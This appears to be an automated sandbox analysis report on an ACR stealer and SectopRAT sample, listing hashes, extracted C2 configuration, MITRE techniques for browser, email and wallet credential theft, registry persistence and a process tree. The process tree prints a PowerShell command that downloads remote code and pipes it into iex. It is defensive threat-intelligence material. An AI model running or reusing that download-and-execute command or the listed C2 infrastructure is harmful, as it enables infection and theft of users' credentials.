acrstealer | 11fffcfe0c1c9d297405a1e6e6d7af579493fc6e140f4495a2d4f8bb6016fc43

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
19/09/2026, 08:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
dgfyrte-98.ps1
Size 93KB
Sample260919-j4rabsybme
SHA256 11fffcfe0c1c9d297405a1e6e6d7af579493fc6e140f4495a2d4f8bb6016fc43
MD5 6e70d7a23214a3dcea45e22cfc38ff05
SHA1 40b3bd8c655037da2de03de1e8b10c967f0e665e
SHA512 451915724812acb95f99c73e26e2a854898039351fd6aa0319e0a3a9aacbf9b598db4496d25667fa0a470217c0ccd482f39220ffa315f0fc4ee12e48a8b5122b
SSDEEP 1536:be1FJGsdpjk0oNuPtgtQCTpnF9Q90adz4zcpNpfO+GL1jfrwNdr9/qSw7ieYi:bkF8spjPyuP+JpF9Q9Pz4zWOL1jfUnlu
TLSH
T1589323053B8C95E010CDDDBE0FC06CA956AEE072D3DADC9C66CF5A84AB43AFA459C474
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution acrstealer sectoprat persistence rat spyware stealer trojan

Malware Config

Extracted

Family

acrstealer

Version

4.3.10-alpha1

updates.rootwave.cc

Decoy

cloudflare.com

Attributes

ddrs
https://telegra.ph/Built-in-Types-08-01
guids
019fd851-d0e2-7805-ae09-2dd1daa78960

f1575b64-8492-4e8b-b102-4d26e8c70371
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36

xor.hex

Signatures

Family: ACR stealer,GrMsk
ACR stealer (aka GrMsk stealer) is an infostealer written in C++.
stealer acrstealer
Family: SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

Eimeria case rule targeting the malicious zlibwapi.dll AES loader and recovered AutoIt RunPE loader 1 IoCs

Eimeria multi-stage loader chain with zlibwapi.dll AES loader and AutoIt RunPE process-hollowing evidence.

resource	yara_rule
behavioral1/files/0x0009000000024639-4154.dat	Eimeria_MultiStage_Loader

SectopRAT payload 1 IoCs

resource	yara_rule
behavioral1/memory/5560-5196-0x0000000000400000-0x000000000046C000-memory.dmp	family_sectoprat

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

description	pid	Process	procid_target
PID 2040 created 3284	2040	rundll32.exe	56
PID 2040 created 3284	2040	rundll32.exe	56
PID 2040 created 3284	2040	rundll32.exe	56

Badlisted process makes network request 10 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
20	2104	powershell.exe
22	2104	powershell.exe
29	2104	powershell.exe
47	2040	rundll32.exe
48	2040	rundll32.exe
232	2040	rundll32.exe
233	2040	rundll32.exe
234	2040	rundll32.exe
235	2040	rundll32.exe
237	5344	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2924	AutoIt3.exe
5560	RegAsm.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeAutoLaunch_11E9365CAE7D306ED3CD56E1B0DA0412 = "\"C:\\Users\\Admin\\AppData\\Roaming\\18a495b8ac54\\AutoIt3.exe\" \"C:\\Users\\Admin\\AppData\\Roaming\\18a495b8ac54\\Fabrics.a3x\""	powershell.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2104	powershell.exe
1468	powershell.exe
5344	powershell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
21	raw.githubusercontent.com
29	raw.githubusercontent.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2924 set thread context of 5560	2924	AutoIt3.exe	160

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4792	chrome.exe
3768	msedge.exe

Checks processor information in registry 2 TTPs 22 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134342792626848618"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1846164713-4096795028-774071693-1000\{E3397B7E-7A5B-4C25-A599-2ECAB0DE5A76}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1468	powershell.exe
1468	powershell.exe
2104	powershell.exe
2104	powershell.exe
2104	powershell.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
2040	rundll32.exe
2040	rundll32.exe
2040	rundll32.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

pid	Process
4384	chrome.exe
4384	chrome.exe
4384	chrome.exe
4384	chrome.exe
1352	msedge.exe
1352	msedge.exe
1352	msedge.exe
1352	msedge.exe

Suspicious use of AdjustPrivilegeToken 62 IoCs

description	pid	Process
Token: SeDebugPrivilege	1468	powershell.exe
Token: SeDebugPrivilege	2104	powershell.exe
Token: SeShutdownPrivilege	4384	chrome.exe
Token: SeCreatePagefilePrivilege	4384	chrome.exe
Token: SeShutdownPrivilege	4384	chrome.exe
Token: SeCreatePagefilePrivilege	4384	chrome.exe
Token: SeShutdownPrivilege	4384	chrome.exe
Token: SeCreatePagefilePrivilege	4384	chrome.exe
Token: SeShutdownPrivilege	4384	chrome.exe
Token: SeCreatePagefilePrivilege	4384	chrome.exe
Token: SeShutdownPrivilege	4384	chrome.exe
Token: SeCreatePagefilePrivilege	4384	chrome.exe
Token: SeShutdownPrivilege	4384	chrome.exe
Token: SeCreatePagefilePrivilege	4384	chrome.exe
Token: SeShutdownPrivilege	4384	chrome.exe
Token: SeCreatePagefilePrivilege	4384	chrome.exe
Token: SeShutdownPrivilege	4384	chrome.exe
Token: SeCreatePagefilePrivilege	4384	chrome.exe
Token: SeDebugPrivilege	5344	powershell.exe
Token: SeIncreaseQuotaPrivilege	5344	powershell.exe
Token: SeSecurityPrivilege	5344	powershell.exe
Token: SeTakeOwnershipPrivilege	5344	powershell.exe
Token: SeLoadDriverPrivilege	5344	powershell.exe
Token: SeSystemProfilePrivilege	5344	powershell.exe
Token: SeSystemtimePrivilege	5344	powershell.exe
Token: SeProfSingleProcessPrivilege	5344	powershell.exe
Token: SeIncBasePriorityPrivilege	5344	powershell.exe
Token: SeCreatePagefilePrivilege	5344	powershell.exe
Token: SeBackupPrivilege	5344	powershell.exe
Token: SeRestorePrivilege	5344	powershell.exe
Token: SeShutdownPrivilege	5344	powershell.exe
Token: SeDebugPrivilege	5344	powershell.exe
Token: SeSystemEnvironmentPrivilege	5344	powershell.exe
Token: SeRemoteShutdownPrivilege	5344	powershell.exe
Token: SeUndockPrivilege	5344	powershell.exe
Token: SeManageVolumePrivilege	5344	powershell.exe
Token: 33	5344	powershell.exe
Token: 34	5344	powershell.exe
Token: 35	5344	powershell.exe
Token: 36	5344	powershell.exe
Token: SeIncreaseQuotaPrivilege	5344	powershell.exe
Token: SeSecurityPrivilege	5344	powershell.exe
Token: SeTakeOwnershipPrivilege	5344	powershell.exe
Token: SeLoadDriverPrivilege	5344	powershell.exe
Token: SeSystemProfilePrivilege	5344	powershell.exe
Token: SeSystemtimePrivilege	5344	powershell.exe
Token: SeProfSingleProcessPrivilege	5344	powershell.exe
Token: SeIncBasePriorityPrivilege	5344	powershell.exe
Token: SeCreatePagefilePrivilege	5344	powershell.exe
Token: SeBackupPrivilege	5344	powershell.exe
Token: SeRestorePrivilege	5344	powershell.exe
Token: SeShutdownPrivilege	5344	powershell.exe
Token: SeDebugPrivilege	5344	powershell.exe
Token: SeSystemEnvironmentPrivilege	5344	powershell.exe
Token: SeRemoteShutdownPrivilege	5344	powershell.exe
Token: SeUndockPrivilege	5344	powershell.exe
Token: SeManageVolumePrivilege	5344	powershell.exe
Token: 33	5344	powershell.exe
Token: 34	5344	powershell.exe
Token: 35	5344	powershell.exe
Token: 36	5344	powershell.exe
Token: SeDebugPrivilege	5560	RegAsm.exe

Suspicious use of FindShellTrayWindow 40 IoCs

pid	Process
4384	chrome.exe
4384	chrome.exe
4384	chrome.exe
4384	chrome.exe
4384	chrome.exe
4384	chrome.exe
4384	chrome.exe
4384	chrome.exe
4384	chrome.exe
4384	chrome.exe
4384	chrome.exe
4384	chrome.exe
4384	chrome.exe
4384	chrome.exe
4384	chrome.exe
4384	chrome.exe
4384	chrome.exe
4384	chrome.exe
4384	chrome.exe
4384	chrome.exe
4384	chrome.exe
4384	chrome.exe
4384	chrome.exe
4384	chrome.exe
4384	chrome.exe
4384	chrome.exe
4384	chrome.exe
4384	chrome.exe
4384	chrome.exe
4384	chrome.exe
4384	chrome.exe
4384	chrome.exe
4384	chrome.exe
4384	chrome.exe
1352	msedge.exe
1352	msedge.exe
4520	firefox.exe
2924	AutoIt3.exe
2924	AutoIt3.exe
2924	AutoIt3.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
2924	AutoIt3.exe
2924	AutoIt3.exe
2924	AutoIt3.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1468 wrote to memory of 2620	1468	powershell.exe	85
PID 2620 wrote to memory of 3212	2620	csc.exe	87
PID 1468 wrote to memory of 1144	1468	powershell.exe	89
PID 1144 wrote to memory of 4532	1144	csc.exe	90
PID 1468 wrote to memory of 2104	1468	powershell.exe	92
PID 2104 wrote to memory of 2040	2104	powershell.exe	96
PID 2104 wrote to memory of 2040	2104	powershell.exe	96
PID 2040 wrote to memory of 4384	2040	rundll32.exe	97
PID 4384 wrote to memory of 816	4384	chrome.exe	98
PID 4384 wrote to memory of 3820	4384	chrome.exe	99
PID 4384 wrote to memory of 3820	4384	chrome.exe	99
PID 4384 wrote to memory of 4792	4384	chrome.exe	100
PID 4384 wrote to memory of 4144	4384	chrome.exe	102
PID 4384 wrote to memory of 4144	4384	chrome.exe	102
PID 4384 wrote to memory of 3908	4384	chrome.exe	103
PID 4384 wrote to memory of 3908	4384	chrome.exe	103
PID 4384 wrote to memory of 3264	4384	chrome.exe	104
PID 4384 wrote to memory of 3264	4384	chrome.exe	104
PID 4384 wrote to memory of 1928	4384	chrome.exe	105
PID 4384 wrote to memory of 1928	4384	chrome.exe	105
PID 4384 wrote to memory of 3476	4384	chrome.exe	106
PID 4384 wrote to memory of 3476	4384	chrome.exe	106
PID 4384 wrote to memory of 1624	4384	chrome.exe	107
PID 2040 wrote to memory of 1352	2040	rundll32.exe	113
PID 1352 wrote to memory of 812	1352	msedge.exe	114
PID 1352 wrote to memory of 3768	1352	msedge.exe	116
PID 1352 wrote to memory of 4512	1352	msedge.exe	117
PID 1352 wrote to memory of 4512	1352	msedge.exe	117
PID 1352 wrote to memory of 4512	1352	msedge.exe	117
PID 1352 wrote to memory of 3000	1352	msedge.exe	118
PID 1352 wrote to memory of 3000	1352	msedge.exe	118
PID 1352 wrote to memory of 4252	1352	msedge.exe	120
PID 1352 wrote to memory of 4252	1352	msedge.exe	120
PID 1352 wrote to memory of 4252	1352	msedge.exe	120
PID 1352 wrote to memory of 644	1352	msedge.exe	119
PID 1352 wrote to memory of 644	1352	msedge.exe	119
PID 1352 wrote to memory of 644	1352	msedge.exe	119
PID 1352 wrote to memory of 5124	1352	msedge.exe	121
PID 1352 wrote to memory of 5124	1352	msedge.exe	121
PID 1352 wrote to memory of 5124	1352	msedge.exe	121
PID 1352 wrote to memory of 5132	1352	msedge.exe	122
PID 1352 wrote to memory of 5132	1352	msedge.exe	122
PID 1352 wrote to memory of 5132	1352	msedge.exe	122
PID 1352 wrote to memory of 5488	1352	msedge.exe	124
PID 1352 wrote to memory of 5488	1352	msedge.exe	124
PID 1352 wrote to memory of 3532	1352	msedge.exe	126
PID 1352 wrote to memory of 3532	1352	msedge.exe	126
PID 1352 wrote to memory of 2064	1352	msedge.exe	128
PID 1352 wrote to memory of 2064	1352	msedge.exe	128
PID 1352 wrote to memory of 5868	1352	msedge.exe	129
PID 1352 wrote to memory of 5868	1352	msedge.exe	129
PID 1352 wrote to memory of 5972	1352	msedge.exe	133
PID 1352 wrote to memory of 5596	1352	msedge.exe	134
PID 1352 wrote to memory of 5596	1352	msedge.exe	134
PID 1352 wrote to memory of 4308	1352	msedge.exe	135
PID 1352 wrote to memory of 4308	1352	msedge.exe	135
PID 1352 wrote to memory of 6056	1352	msedge.exe	139
PID 1352 wrote to memory of 6056	1352	msedge.exe	139
PID 1352 wrote to memory of 5556	1352	msedge.exe	138
PID 1352 wrote to memory of 5556	1352	msedge.exe	138
PID 1352 wrote to memory of 5144	1352	msedge.exe	140
PID 1352 wrote to memory of 5144	1352	msedge.exe	140
PID 2700 wrote to memory of 4520	2700	firefox.exe	143
PID 2700 wrote to memory of 4520	2700	firefox.exe	143

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3284
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\dgfyrte-98.ps1
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1468
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1nlxetzs\1nlxetzs.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2620
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4BE9.tmp" "c:\Users\Admin\AppData\Local\Temp\1nlxetzs\CSCCA9F4D01306346A994D4BADB9EB7520.TMP"
      4⤵
      PID:3212
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hfqdohdb\hfqdohdb.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1144
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4CA4.tmp" "c:\Users\Admin\AppData\Local\Temp\hfqdohdb\CSCAD2129836E52495A89D2BE9AF5DCD41F.TMP"
      4⤵
      PID:4532
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -Command [Net.ServicePointManager]::SecurityProtocol = [Net.ServicePointManager]::SecurityProtocol -bor [Net.SecurityProtocolType]::Tls12; irm https://rawcdn.githack.com/989A-A-3fF2465495760-2B3a/4657-8765943-85742-94856/refs/heads/main/57684-95867 | iex
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2104
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\SysWOW64\rundll32.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Badlisted process makes network request
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:2040
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\d7lrj1tB6Lt5JQ00\d7lrj1fGOFbTRyDB.ps1"
        5⤵
        Badlisted process makes network request
        Adds Run key to start application
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:5344
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gjxkmhqw\gjxkmhqw.cmdline"
        6⤵
        
        PID:4248
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5663.tmp" "c:\Users\Admin\AppData\Local\Temp\gjxkmhqw\CSC743BA971F9D34A66865B0C095D2FD76.TMP"
        7⤵
        
        PID:5400
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ujxrpeww\ujxrpeww.cmdline"
        6⤵
        
        PID:2552
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES573E.tmp" "c:\Users\Admin\AppData\Local\Temp\ujxrpeww\CSCB11D4D9B964C44919DF8777568A37F4F.TMP"
        7⤵
        
        PID:4496
    - - C:\Windows\SysWOW64\dllhost.exe
        
        "C:\Windows\SysWOW64\dllhost.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:792
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:4384
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffdf2aac728,0x7ffdf2aac734,0x7ffdf2aac740
    3⤵
    PID:816
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1648,i,12731890027857256398,7230305273273314631,262144 --field-trial-handle=1976,i,12517585377478775525,8670318189464677031,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=1972 /prefetch:2
    3⤵
    PID:3820
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2248,i,11936506508777540331,8642105271211539591,524288 --field-trial-handle=1976,i,12517585377478775525,8670318189464677031,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2220 /prefetch:3
    3⤵
    - System Time Discovery
    PID:4792
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2388,i,7012146961030987564,14220973914288392750,524288 --field-trial-handle=1976,i,12517585377478775525,8670318189464677031,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2540 /prefetch:8
    3⤵
    PID:4144
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3012,i,902935762903062047,378314977909446738,2097152 --field-trial-handle=1976,i,12517585377478775525,8670318189464677031,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3020 /prefetch:1
    3⤵
    PID:3908
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3044,i,18288659711382545683,1043444191267297067,2097152 --field-trial-handle=1976,i,12517585377478775525,8670318189464677031,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3060 /prefetch:1
    3⤵
    PID:3264
- - C:\Program Files\Google\Chrome\Application\chrome.exe
